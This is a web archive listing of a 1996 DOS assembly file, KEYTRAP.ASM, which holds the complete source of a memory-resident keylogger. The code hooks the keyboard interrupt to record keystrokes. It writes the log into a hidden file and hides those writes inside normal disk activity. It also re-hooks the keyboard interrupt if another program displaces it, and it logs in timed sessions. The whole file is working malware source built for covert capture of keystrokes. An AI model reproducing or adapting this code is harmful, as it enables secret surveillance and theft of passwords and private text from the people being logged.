home *** CD-ROM | disk | FTP | other *** search
/ PC World Interactive 7 / PC World Interactive 7.iso / program / asprog.EXE / KEYTRAP.ASM < prev    next >
Assembly Source File  |  1996-06-20  |  18KB  |  448 lines

  1. ;
  2. ;
  3. ; KEYTRAP v1.0 - Keyboard Key Logger
  4. ; By Dcypher (dcypher@mhv.net)
  5. ; Usage: KEYTRAP <dir\logfile> /A /B /C
  6. ;
  7. ;        A - Maximum size of log file.
  8. ;        B - Number of keys to log per session.
  9. ;        C - Minutes between each session.
  10. ;
  11. ;------------------------------------------------
  12.                         ;
  13.     .286                                    ; 286 or better
  14.     .model small                            ; 
  15.     .code                                   ; 
  16.     org     100h                            ; 
  17.                         ;
  18. begin:  jmp     install                ;
  19.                         ;
  20. ;================================================               
  21.                         ;
  22. db      ' DCYPHER@MHV.NET / KEYTRAP V1.0 '    ; PLEASE DON'T REMOVE
  23.                         ;
  24. buf             db 401 dup (0)                  ; 400 byte buffer
  25. bufptr          dw 0                            ;  +1 for luck :)
  26.                         ;
  27. hide            db 0                ; save int21 function call
  28. stimem          dw 0                ; grab time when done
  29. handle          dw 0                            ; logfile handle
  30. control         db 0                ; control which INT to use
  31. done_flag       db 0                ; session done flag
  32. must_write      db 0                            ; must-write flag
  33. write_amount    dw 0                            ; amount written to disk
  34. using_21        db 0                ; already doing an int-21
  35.                         ;
  36. old_9a_off      dw 0                ;  
  37. old_9a_seg      dw 0                            ;
  38.                         ;
  39. old_9b_off      dw 0                ;
  40. old_9b_seg      dw 0                            ;
  41.                         ;
  42. old_21_off      dw 0                            ;
  43. old_21_seg      dw 0                            ;
  44.                         ;
  45. datasegm        dw 0                            ; save data-segment
  46.                         ;
  47. delaym          dw 0                ; delay, in minutes
  48. mkeys           dw 0                            ; maximum number of keys
  49. logH            dw 0                            ; log file size 
  50. logL            dw 0                            ; log file size 
  51.                         ;
  52. ;==============================================================================
  53.                         ;
  54. int_9A: pushf                                   ; 
  55.     pusha                                   ; 
  56.     push    es                 ;
  57.         push    ds                              ; 
  58.     mov     ds, datasegm                    ; we are here
  59.                         ;
  60.     cmp     control, 1            ; use this one ?
  61.         je      A91                ;
  62.         call    pkey                ; process key (scancode)
  63.                           ;
  64.    A91: pop     ds                              ; 
  65.     pop     es                              ;
  66.     popa                                    ;
  67.     popf                                    ;
  68.     jmp     dword ptr old_9a_off            ; 
  69.                         ;
  70. ;================================================
  71.                         ; 
  72.   pkey: cmp     done_flag, 1                    ; completely done ?
  73.     je      pk2                             ;
  74.     cmp     bufptr, 400                     ; buffer limit reached ?
  75.     jae     pk2                             ;
  76.                         ;
  77.     in      al, 60h                         ; get scancode
  78.                         ;
  79.     cmp     al, 39h                         ; get downstroke and only 
  80.     ja      pk2                             ; as far as spacebar
  81.         cmp     al, 2Ah                ; 
  82.         je      pk2                ; no shift
  83.         cmp     al, 36h                ;
  84.         je      pk2                ; no shift
  85.                         ;
  86.         push    0                ;
  87.         pop     es                ;
  88.         mov     ah, byte ptr es:[417h]        ; shift status
  89.         test    ah, 43h                ; test for both shift keys
  90.         je      pk1                    ; and cap-lock active
  91.                         ;
  92.         add     al, 80h                ; show shift or cap-lock
  93.    pk1:    mov     di, bufptr                      ; in logfile
  94.     mov     buf[di], al                     ; place scancode in buffer
  95.     inc     di                              ;
  96.     mov     bufptr, di                      ;
  97.         mov     must_write, 1            ; try to write buffer
  98.                         ;
  99.    pk2: ret                    ;
  100.                         ;
  101. ;================================================
  102.                         ;
  103. int_9B: pushf                                   ; 
  104.     pusha                                   ;
  105.     push    es                              ; 
  106.     push    ds                              ;
  107.     mov     ds, datasegm                    ; we are here
  108.                         ;
  109.         cmp     control, 0            ; use this one ?
  110.         je      B91                   ; (not really needed)
  111.         call    pkey                ; process a key (scancode)
  112.                         ;
  113.    B91: pop     ds                              ; 
  114.     pop     es                ;
  115.     popa                                    ;
  116.     popf                                    ;
  117.     jmp     dword ptr old_9b_off            ; 
  118.                         ;
  119. ;==============================================================================
  120.                         ;
  121. int_21: pushf                                   ; 
  122.     pusha                                   ;
  123.     push    es                              ;
  124.     push    ds                              ;
  125.     mov     ds, datasegm                    ; here we are
  126.                         ;
  127.         cmp     ax, 0ffffh            ; check if already installed
  128.         je      D21                ; 
  129.                         ;
  130.     cmp     using_21, 1                     ; might need to call an
  131.     je      C21                             ; int-21 here so jump if
  132.     mov     using_21, 1                     ; called from below
  133.         mov     hide, ah            ; save function # for hideing
  134.                         ;
  135.         call    switch                 ; always control the int 9's
  136.         call    timer                ; always check restart timer
  137.                         ;
  138.     cmp     done_flag, 1                    ; completely done ?
  139.     je      B21                             ;
  140.     cmp     must_write, 1                   ; need to write ?
  141.     jne     B21                             ;
  142.         cmp     bufptr, 400            ; push a write when buffer
  143.         jae     A21                ; is full
  144.                         ;
  145.         cmp     hide, 3Fh             ; disk read
  146.         je      A21                ; (hide buffer write)
  147.         cmp     hide, 40h             ; disk write
  148.         je      A21                ; 
  149.         jmp     B21                ; can't hide, try another time
  150.                         ;
  151.    A21: call    saveb                           ; write buffer
  152.                         ;
  153.    B21: mov     using_21, 0                     ; no int-21 calls anymore 
  154.    C21: pop     ds                              ; 
  155.     pop     es                              ;
  156.     popa                                    ;
  157.     popf                                    ;
  158.     jmp     dword ptr old_21_off            ; 
  159. ;------------------------------------------------
  160.    D21: pop    ds                ; already installed !
  161.         pop    es                ;
  162.         popa                    ;
  163.         popf                    ;
  164.         mov     ax, 1                ; show installed
  165.         iret                    ;
  166.                         ;
  167. ;==============================================================================
  168.                         ;
  169. timer:  cmp     done_flag, 0            ; only check time when
  170.     je      timerb                ; session is complete !
  171.                         ;
  172.         mov     ah, 2Ch                ; 
  173.         int     21h                ; whats the time ?
  174.         mov     al, ch                ;
  175.         xor     ah, ah                ;
  176.         mov     bx, 60                ; 
  177.         mul     bx                ; multiply hours by 60
  178.         xor     ch, ch                ;
  179.         add     ax, cx                ; add in the minutes
  180.                              ;
  181.         mov     bx, stimem            ; 
  182.         cmp     ax, bx                ; is time now same as
  183.         je      timerb                ; when session was completed
  184.                         ; if so, don't do anything
  185.         xor     cx, cx                ;
  186. timer1: cmp     bx, 1440            ; midnight then back to 0
  187.         jb      timer2                ;
  188.         xor     bx, bx                ;
  189. timer2: inc     cx                ; minutes counter
  190.         inc     bx                ;
  191.         cmp     ax, bx                ; count untill time now
  192.         jne     timer1                ;
  193.                         ;
  194.         cmp     cx, delaym            ; 
  195.         jb      timerb                ; should we reset ?
  196.                         ;
  197.         mov     done_flag, 0            ; reset / next session
  198. timerb: ret                    ; 
  199.                         ;
  200. ;------------------------------------------------
  201.                         ;
  202. switch: mov     ax, 3509h                       ; 
  203.     int     21h                             ;
  204.     cmp     bx, offset int_9A               ; everything ok with 9A ? 
  205.     jne     sw1                             ; check offset
  206.         mov     control, 0            ; show who has control 
  207.         ret                        ;
  208.                                ;
  209.    sw1: cmp     control, 1            ; 9B already in use ?
  210.         je      sw2                ; yes, don't do anything
  211.         mov     ax, 3509h            ;
  212.         int     21h                ;
  213.         mov     old_9b_seg, es            ;  
  214.         mov     old_9b_off, bx            ;
  215.         mov     ax, 2509h            ;
  216.         lea     dx, int_9B            ;
  217.         int     21h                ; use 9B instead of 9A !
  218.         mov     control, 1            ; show who has control
  219.    sw2: ret                                     ; 
  220.                         ;
  221. ;------------------------------------------------
  222.                         ;
  223. saveb:  mov     ax, 3d01h                       ; 
  224.     mov     dx, 82h                         ;
  225.     int     21h                             ; open logfile, r/w
  226.     jc      probw                           ;
  227.     mov     handle, ax                      ; 
  228.     mov     bx, ax                          ;
  229.     mov     ax, 4202h                       ;
  230.     xor     cx, cx                          ;
  231.     xor     dx, dx                          ;
  232.     int     21h                             ; point to eof
  233.     jc      probw                           ;
  234.     mov     ah, 40h                         ; 
  235.     mov     bx, handle                      ;
  236.     mov     cx, bufptr                      ;
  237.     lea     dx, buf                         ;
  238.     int     21h                             ; write buffer
  239.     jc      probw                           ;
  240.     mov     ah, 3Eh                         ; 
  241.     mov     bx, handle                      ;
  242.     int     21h                             ; close logfile
  243.     jc      probw                           ;
  244. ;------------------------------------------------
  245.     mov     cx, bufptr                      ; no problems writing  
  246.     add     write_amount, cx                ; so add to written amount
  247.                         ;
  248.     mov     cx, mkeys                       ; check number of keys logged
  249.     cmp     write_amount, cx                ; all done ?
  250.     jb      donew                           ;
  251.                         ;
  252.     mov     done_flag, 1                    ; show session complete
  253.         mov     write_amount, 0            ; written amount to 0
  254.         call    gtime                ; grab stop time [minutes]
  255.                         ;
  256. donew:  mov     must_write, 0                   ; no need to write anymore
  257.     mov     bufptr, 0                       ; buffer pointer back to 0
  258. probw:  ret                                     ; try again another time
  259.                         ; (if problem writing)
  260. ;------------------------------------------------
  261.                         ;
  262. gtime:  mov     ah, 2Ch                ; DONE
  263.         int     21h                ; grab time in minutes
  264.         mov     al, ch                ;
  265.         xor     ah, ah                ;
  266.         mov     bx, 60                ;
  267.         mul     bx                ; multiply hours by 60
  268.         xor     ch, ch                ;
  269.         add     ax, cx                ; add in the minutes
  270.         mov     stimem, ax            ; start time in minutes
  271.         ret                    ;
  272.                         ;
  273. ;==============================================================================
  274. ;==============================================================================
  275.                         ;
  276. install:mov     bx, 80h                         ;
  277.     cmp     byte ptr [bx], 0                ; any parameters ?
  278.     je      bye                             ;  
  279.                         ;
  280.         mov      ax, 0ffffh            ; 
  281.         int     21h                ; already installed ?
  282.         cmp     ax, 1                ;
  283.         je      bye                ;
  284.                         ;
  285.     call    conv                            ; convert command line numbers
  286.     jc      bye                             ;
  287.         call    clog                ; check or create logfile
  288.                         ;
  289.         mov     ax, 3509h                       ; 
  290.     int     21h                             ;
  291.     mov     old_9a_off, bx                  ; save old int 9
  292.     mov     old_9a_seg, es                  ;
  293.     mov     ah, 25h                         ; 
  294.     lea     dx, int_9A                      ;
  295.     int     21h                             ; hook only 9A to start
  296.                         ;
  297.     mov     ax, 3521h                       ; 
  298.     int     21h                             ;
  299.     mov     old_21_off, bx                  ; save old int 21
  300.     mov     old_21_seg, es                  ;
  301.     mov     ah, 25h                         ; 
  302.     lea     dx, int_21                      ;
  303.     int     21h                             ; point to new int 21
  304.                         ;
  305.         mov     datasegm, ds            ; save this datasegment area
  306.                         ; for later use in the ISR's
  307.     mov     bx, offset install              ; 
  308.     mov     ax, 3100h                       ;
  309.     mov     dx, bx                          ;
  310.     mov     cl, 04h                         ;
  311.     shr     dx, cl                          ;
  312.     inc     dx                              ;
  313.     int     21h                             ; end / save above install
  314.                         ;
  315.    bye: mov    ah, 4Ch                ; no installation
  316.         int     21h                ; just end
  317.                         ;
  318. ;==============================================================================
  319.                         ;
  320.   conv: push    ds                              ; convert command line options
  321.     pop     es                              ;
  322.     mov     di, 81h                         ;
  323.  conv1: inc     di                              ;
  324.     cmp     byte ptr [di], 2fh              ; point to first "/"
  325.     jnz     conv1                           ;
  326.     inc     di                              ; point to first number
  327.     call    mconv                           ; convert it
  328.     jc      conv4                           ; any problems ?
  329.     mov     logH, dx                        ; 
  330.     mov     logL, cx                        ; save max logfile size
  331.         add     cx, dx                ; 
  332.         cmp     cx, 0                ; make sure not 0
  333.         je      conv4                ;
  334.                         ;
  335.     dec     di                              ;
  336. conv2:  inc     di                              ;
  337.     cmp     byte ptr [di], 2fh              ; point to second "/"
  338.     jnz     conv2                           ;
  339.     inc     di                              ; point to first number
  340.     call    mconv                           ; convert it
  341.     jc      conv4                           ; any problems ?
  342.         cmp     dx, 0                ; bigger then 65535 ?
  343.         ja      conv4                ; 
  344.     mov     mkeys, cx                       ; save key limit 
  345.                         ;
  346.     dec     di                              ;
  347. conv3:  inc     di                              ;
  348.     cmp     byte ptr [di], 2fh              ; point to third "/"
  349.     jnz     conv3                           ;
  350.     inc     di                              ; point to first number
  351.     call    mconv                           ; convert it
  352.     jc      conv4                           ; any problems ?
  353.         cmp     dx, 0                ;
  354.         ja      conv4                 ; bigger then 65535 end
  355.         cmp     cx, 1440            ;
  356.         ja      conv4                ; bigger then 1440 end
  357.         mov     delaym, cx            ; save session delay time
  358.         clc                    ; show no problems
  359.         ret                    ; 
  360. conv4:  stc                    ; show problem
  361.         ret                    ;
  362.                         ;
  363. ;------------------------------------------------
  364.                         ;
  365.  mconv: xor     cx, cx                          ; main converter
  366.     mov     dx, cx                          ; no comments here, all I
  367.     mov     ah, ch                          ; know is that it works ! :)
  368.     cld                                     ;
  369.     dec     di                              ; 
  370.  convl: inc     di                              ; 
  371.     mov     al, es:[di]                     ; convert number at es:[di]
  372.     xor     al, '0'                         ;
  373.     cmp     al, 10                          ; carry flag will be set
  374.     jae     convD                           ; if theres a problem
  375.     shl     cx, 1                           ;
  376.     rcl     dx, 1                           ;
  377.     jc      convD                           ;
  378.     mov     bx, cx                          ;
  379.     mov     si, dx                          ;
  380.     shl     cx, 1                           ;
  381.     rcl     dx, 1                           ;
  382.     jc      convD                           ;
  383.     shl     cx, 1                           ;
  384.     rcl     dx, 1                           ;
  385.     jc      convD                           ;
  386.     add     cx, bx                          ;
  387.     adc     dx, si                          ;
  388.     jc      convD                           ;
  389.     add     cl, al                          ;
  390.     adc     ch, 0                           ;
  391.     adc     dx, 0                           ;
  392.     jc      convD                           ;
  393.     jmp     convl                           ;
  394. convD:    ret                                     ;
  395.                         ;
  396. ;------------------------------------------------
  397.                         ;
  398.   clog:    mov     bx, 82h                         ; point to logfile 
  399.  null1: cmp     byte ptr [bx], 20h              ; find first space
  400.     je      null2                           ; 
  401.     inc     bx                              ;  
  402.     jmp     null1                           ; 
  403.  null2: mov     byte ptr [bx], 0                ; replace space with 0
  404.                         ;
  405.         mov      ax, 3D01h            ;
  406.         mov     dx, 82h                ;
  407.         int     21h                ; open the file
  408.         jc      clog3                ;
  409.         mov     handle, ax            ; good open, save handle
  410.                         ;
  411.         mov     ax, 4202h                       ;
  412.     mov     bx, handle                      ;
  413.     xor     cx, cx                          ;    
  414.     xor     dx, dx                          ;    
  415.     int     21h                             ; mov pointer to eof
  416.                         ;
  417.     cmp     logH, dx                        ; check size
  418.     ja      clog4                           ; size ok
  419.     cmp     logH, dx                        ;
  420.     je      clog1                           ;   
  421.     jmp     clog2                           ; must be below, not ok
  422.  clog1: cmp     logL, ax                        ;
  423.     ja      clog4                           ; size ok
  424.                         ;
  425.  clog2: mov     ax, 4301h                       ; 
  426.     mov     dx, 82h                         ;
  427.     xor     cx, cx                          ;
  428.     int     21h                             ; change file mode
  429.     mov     ah, 41h                         ;
  430.     mov     dx, 82h                         ;
  431.     int     21h                             ; delete file
  432.                         ;
  433.  clog3: mov     ah, 3Ch                ; create new
  434.         mov     cx, 02h                ; (hidden)
  435.         mov     dx, 82h                ;
  436.         int     21h                ;
  437.         mov     handle, ax            ;
  438.                         ;
  439.  clog4: mov     bx, handle            ; close logfile handle
  440.         mov     ah, 3Eh                ;
  441.         int     21h                ;
  442.         ret                    ;
  443.                         ;
  444. ;==============================================================================
  445.  
  446. end     begin
  447.